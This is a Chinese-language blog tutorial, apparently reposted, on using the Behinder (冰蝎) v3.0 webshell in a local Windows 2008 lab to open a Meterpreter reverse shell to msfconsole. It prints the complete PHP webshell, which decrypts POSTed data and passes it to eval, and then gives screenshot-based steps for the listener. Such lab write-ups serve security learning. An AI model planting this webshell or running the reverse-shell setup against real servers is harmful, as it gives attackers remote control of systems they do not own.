冰蝎下的反弹shell连接msfconsole

冰蝎下的反弹shell连接msfconsole文章目录前言一、使用木马getshell1.搭建环境二、冰蝎配置三、kali监听总结前言好久没碰美少妇(MSF)了,恰巧昨天在群里水群,有个表哥问为什么msf监听不到数据。为此我带着表哥的疑问进行了简单的研究。大体的流程和思路我简单记录一下。其中的坑还是不少的,希望这篇文章对初识冰蝎的表哥们有点用处。一、使用木马getshell冰蝎之所以强还是在于他的动态二进制加密。这里呢,在冰蝎下载的包中给出了官方的webshell。在server文件夹下。这里呢,我踩过一个坑。不知道是我电脑配置的问题还是就

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE使用 1年只要46元 售后保障 童叟无欺


前言

好久没碰美少妇(MSF)了,恰巧昨天在群里水群,有个表哥问为什么msf监听不到数据。为此我带着表哥的疑问进行了简单的研究。大体的流程和思路我简单记录一下。其中的坑还是不少的,希望这篇文章对初识冰蝎的表哥们有点用处。

一、使用木马getshell

冰蝎之所以强还是在于他的动态二进制加密。这里呢,在冰蝎下载的包中给出了官方的webshell。在server文件夹下。在这里插入图片描述
这里呢,我踩过一个坑。不知道是我电脑配置的问题还是就应该这样操作。因为手底下没有现成的webshell。我就去网上找了那些一句话木马,或者可以绕过waf的木马。尝试都无果。后来看了一篇关于冰蝎反弹shell的文章。文章中介绍的是本地环境问题,将PHP的版本改到7.0以上就可以执行了。尝试无果。经过尝试发现冰蝎的脚本得使用对应版本的shell。之前都是一套下载使用的没怎么注意,这次掉坑了。

1.搭建环境

  • 靶机:win 2008
  • 环境:phpstudy 2016
  • 冰蝎:v3.0
    在这里插入图片描述
    因为本地测试,文章以反弹shell为主,就直接将shell拖到服务器了。这里挂一下3.0中PHP的一句话代码。
<?php
@error_reporting(0);
session_start();
    $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
	$_SESSION['k']=$key;
	$post=file_get_contents("php://input");
	if(!extension_loaded('openssl'))
	{ 
   
		$t="base64_"."decode";
		$post=$t($post."");
		
		for($i=0;$i<strlen($post);$i++) { 
   
    			 $post[$i] = $post[$i]^$key[$i+1&15]; 
    			}
	}
	else
	{ 
   
		$post=openssl_decrypt($post, "AES128", $key);
	}
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
	class C{ 
   public function __invoke($p) { 
   eval($p."");}}
    @call_user_func(new C(),$params);
?>

有兴趣的可以研究一下代码。

二、冰蝎配置

  1. 新建shell,点击保存
    在这里插入图片描述
  2. 进入反弹shell配置界面
    在这里插入图片描述
  3. 选择Meterpreter功能
    在这里插入图片描述
  4. 根据冰蝎的温馨提示,使用kali进行监听就行了。

三、kali监听

我这里Mac上装了msfconsole就直接来演示了

  1. 启动msf
    在这里插入图片描述
  2. 使用exp
    在这里插入图片描述
  3. 设置payload
    在这里插入图片描述
  4. 查看设置
    在这里插入图片描述
  5. 配置本机地址和监听端口
    在这里插入图片描述
  6. 开始监听
    在这里插入图片描述
  7. 冰蝎发送数据建立连接
    在这里插入图片描述
  8. 执行命令
    在这里插入图片描述

总结

总的来说跟用msf生成exe木马,监听木马一样的流程。只不过这里的冰蝎代替了exe来执行。文中有几处不太坚定的答案。还希望好心的大佬给出确定的解答。初级工具使用,仅用于基础信息防御交流,请勿用于其他用途。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/196444.html原文链接:https://javaforall.net

(0)
上一篇 2025年9月26日 下午8:43
下一篇 2025年9月26日 下午9:22


相关推荐

  • (2020.8.20)VSCode配置java环境JDK1.8

    (2020.8.20)VSCode配置java环境JDK1.8第一步:下载1.8版本的JDK,获取JDK路径jdk1.8的下载以及配置第二步:安装VScode的java插件第三步:这是文件–打开文件夹–选择创建的文件夹(JAVA)的界面进入设置面板–选择扩展–选择JavaTestRunner–打开settings.json文件第四步:在文件末尾加上JDK的文件路径,重启VSCode参考的settings.json文件配置样式可能出现的问题:Vscode中不再支持JDK8的解决方案…

    2022年10月3日
    4
  • 基于协同过滤的电影推荐系统的设计与实现(协同过滤推荐算法伪代码)

    1Mahout介绍ApacheMahout是ApacheSoftwareFoundation(ASF)旗下的一个开源项目,提供一些可扩展的机器学习领域经典算法的实现,旨在帮助开发人员更加方便快捷地创建智能应用程序。经典算法包括聚类、分类、协同过滤、进化编程等等,并且,在Mahout中还加入了对ApacheHadoop的支持,使这些算法可以更高效的运行在云计算环境中。…

    2022年4月11日
    322
  • Error: getaddrinfo ENOENT报错解决

    Error: getaddrinfo ENOENT报错解决Error getaddrinfoE 报错解决使用 npmrundev 运行 vue 项目时 出现 Error getaddrinfoE 报错 具体如下 问题原因 localhost 没有与 127 0 0 1 绑定解决方法 在 C Windows System32 drivers etc 中找到 hosts 文件 在 hosts 文件中添加 127 0 0 1 保存即可 如下图所示

    2026年3月17日
    3
  • 微前端架构应用

    微前端架构应用微前端架构 优势 缺点和痛点一 什么是微前端 微前端架构 就是构建基于微服务的前端应用架构 其思想是将前端应用切分为一系列可以单独部署的松耦合的应用 然后将这些应用组装起来创建单个面向用户的应用程序 微前端的实现各不相同 因为不同的公司的技术方案不同 从服务器端页面嵌入到 iframes 到 Javascript 元框架 meta frameworks 和 webcomponent 二 微

    2026年3月17日
    2
  • C语言简单实现折半查找法

    C语言简单实现折半查找法介绍折半查找 又称作二分查找 这个查找的算法的特点 就是 要求数据要是有序的 1 存储结构一定是顺序存储 2 关键字大小必须有序排列算法思想 折半查找只能在有序数列中进行 将待查找的数据与有序数列 递增 中间的元素进行比较 如果相等 则找到 如果待查找的数据大于中间的元素的值 那么再从数组的后一半元素中进行查找 否则 从前一半元素中进行查找 若折半后都找不到 则输出 没找着 等提

    2026年3月18日
    3
  • php – cURL从重定向获取url

    php – cURL从重定向获取url

    2022年2月10日
    51

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号